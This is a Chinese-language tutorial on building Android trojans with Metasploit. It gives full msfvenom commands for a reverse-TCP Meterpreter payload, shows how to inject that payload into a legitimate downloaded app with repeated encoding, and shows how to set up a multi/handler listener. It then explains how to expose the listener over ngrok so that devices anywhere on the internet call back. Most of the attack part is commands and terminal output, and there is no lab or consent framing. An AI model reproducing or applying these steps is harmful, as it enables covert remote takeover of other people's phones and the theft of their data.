

MSF对于安卓的渗透

内网渗透-生成木马

我们使用 `msfconsole` 命令进入MSF渗透框架

MSF启动会稍微需要点时间，大概半分钟到一分钟

我们进入MSF后

在 `msf6 >` 终端内输入 `show payloads` 查看所有攻击载荷

这时，它会弹出一堆攻击载荷，我们回滚到上面，看到第六条

```
msf6 > show payloads

Payloads
=====

#   Name                                     Disclosure Da
te  Rank   Check  Description
--  --
0   payload/aix/ppc/shell_bind_tcp            normal No    AIX Command Shell, Bind TCP Inline
1   payload/aix/ppc/shell_find_port           normal No    AIX Command Shell, Find Port Inline
2   payload/aix/ppc/shell_interact            normal No    AIX execve Shell for inetd
3   payload/aix/ppc/shell_reverse_tcp         normal No    AIX Command Shell, Reverse TCP Inline
4   payload/android/meterpreter/reverse_http  normal No    Android Meterpreter, Android Reverse HTTP Stager
5   payload/android/meterpreter/reverse_https normal No    Android Meterpreter, Android Reverse HTTPS Stager
6   payload/android/meterpreter/reverse_tcp   normal No    Android Meterpreter, Android Reverse TCP Stager
7   payload/android/meterpreter_reverse_http  normal No    Android Meterpreter Shell, Reverse HTTP Inline
8   payload/android/meterpreter_reverse_https normal No    Android Meterpreter Shell, Reverse HTTPS Inline
9   payload/android/meterpreter_reverse_tcp   normal No    Android Meterpreter Shell, Reverse TCP Inline
10  payload/android/shell/reverse_http         normal No    Command Shell, Android Reverse HTTP Stager
11  payload/android/shell/reverse_https        normal No    Command Shell, Android Reverse HTTPS Stager
12  payload/android/shell/reverse_tcp          normal No    Command Shell, Android Reverse TCP Stager
13  payload/apple_ios/aarch64/meterpreter_reverse_http
```

`payload/android/meterpreter/reverse_tcp`

我们使用 `(use)` 这个攻击载荷

`use payload/android/meterpreter/reverse_tcp`

之后我们输入 `show options` 命令查看需要设定的参数

```

erse HTTPS Stager (winhttp)

msf6 > use payload/android/meterpreter/reverse_tcp
msf6 payload(android/meterpreter/reverse_tcp) > show options

Module options (payload/android/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST      4444             yes       The listen address (an interface may be specified)
  LPORT      4444             yes       The listen port

msf6 payload(android/meterpreter/reverse_tcp) >

```

我可以看到我们需要设置的是 LHOST | LPORT 两个参数

开始生成木马

之后我们打开一个普通终端

使用 msfvenom 命令来生成木马

用法如下

```

msfvenom -p (你需要的攻击载荷) android/meterpreter/reverse_tcp (设置参数, 譬如) LHOST=
你的ip LPORT=随便一个你本机的空闲端口 R > 生成的名字.apk

```

我们使用 ifconfig 命令查看自己在局域网内的IP

```

(max@Recgov)-[~]
$ ifconfig
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 2479 bytes 182935 (178.6 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 2479 bytes 182935 (178.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.10.114 netmask 255.255.255.0 broadcast 192.168.10.255
    inet6 fe80::e6aa:eaff:febf:b317 prefixlen 64 scopeid 0<link>
    ether e4:aa:ea:bf:b3:17 txqueuelen 1000 (Ethernet)
    RX packets 817 bytes 190404 (185.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 358 bytes 44589 (43.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

我们可以看到，我的局域网IP为192.168.10.114

所以我们这样填

```

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.114 LPORT=9999 R >
000.apk

```

```
文件 动作 编辑 查看 帮助
(max@Recgov)~$ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.114 LPORT=9999 R
> 000.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the pa
payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10188 bytes
normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Sta
ser with UUID Support (Windows x64)
(max@Recgov)~$ ls
000.apk 模板 视频 文档 音乐 Arduino Github Telegram
公共 日志 图片 下载 桌面 CobaltStrike.zip MSF temp
(max@Recgov)~$
```

可见，我们生成成功！

给一个正常可用的软件植入木马

我们在网络上下载一个可用的app，假设这个apk叫 **nihao.apk**

我们进入存在这个apk的目录下，使用下面的指令

```
msfvenom -p android/meterpreter/reverse_tcp -x nihao.apk -i 12 LHOST=192.168.10.114
LPORT=9999 R > 123.apk
```

该命令的意思是，将Android/meterpreter/reverse_tcp这个攻击载荷，植入到一个名为nihao.apk的文件里，并执行编码12次，打开软件后，向LHOST这个IP+LPORT这个端口反弹一个Shell，生成出来的文件为123.apk（生成于该目录下）

如果它提示你出错，大概率是因为你没安装apktool（反汇编软件），kali不自带这个软件，所以我们需要使用如下命令来安装

```
sudo apt install apktool
```

监听返回的Shell

我们在msfconsole渗透框架内输入

```
use exploit/multi/handler
```

来载入攻击，之后我们需要设置LHOST与LPORT参数

```
set LHOST 上面生成木马使用的LHOST
```

```
set LPORT 上面生成木马使用的空闲端口
```

如下图

```
(max@Recgov)-[~]
$ msfconsole
shellcode
IIIIII dTb.dTb
II 4' v 'B
II 6. .P
II 'T;. .;P'
II 0 GB 卷 'T; ;P'
IIIIII 'YvP'

I love shells --egypt

      =[ metasploit v6.1.39-dev ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: To save all commands executed since start up
to a file, use the makerc command

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.10.114
LHOST => 192.168.10.114
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) >
```

之后我们输入 `exploit` 即可开始监听

```
      =[ metasploit v6.1.39-dev ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: To save all commands executed since start up
to a file, use the makerc command

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.10.114
LHOST => 192.168.10.114
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.10.114:9999
```

当有Shell返回时，它将会返回如下信息代表成功

```
meterpreter >_
```

而这里可供你输入恶意命令，我们可以输入help得到每条命令的详细介绍

公网渗透

公网而言，不过是一个巨大的局域网罢了

- [x] 使用到ngrok内网穿透

我们安装好ngrok后，使用如下命令转发tcp流量

```
./ngrok tcp 9999
```

这个命令就是把你本机127.0.0.1（计算机里，“我”的意思）空闲的9999端口转发到公网

此时等待，ngrok会返回类似这样的东西

绿色代表成功，红色代表超时

```
tcp://xxx.nihao.xxx.github.io:12892 => localhost:9999
```

其中localhost的意思是就是本机-127.0.0.1的意思

之后我们在msfvenom里生成木马时，LHOST需要填写的则是xxx.nihao.xxx.github.io了，而LPORT应该填写的则是12892

但是请注意！

我们在msf监听返回shell时，我们需要把LHOST设置监听为127.0.0.1，而LPORT则设置为你转发出去的空闲端口，而不是Ngrok提供的IP与端口！！！！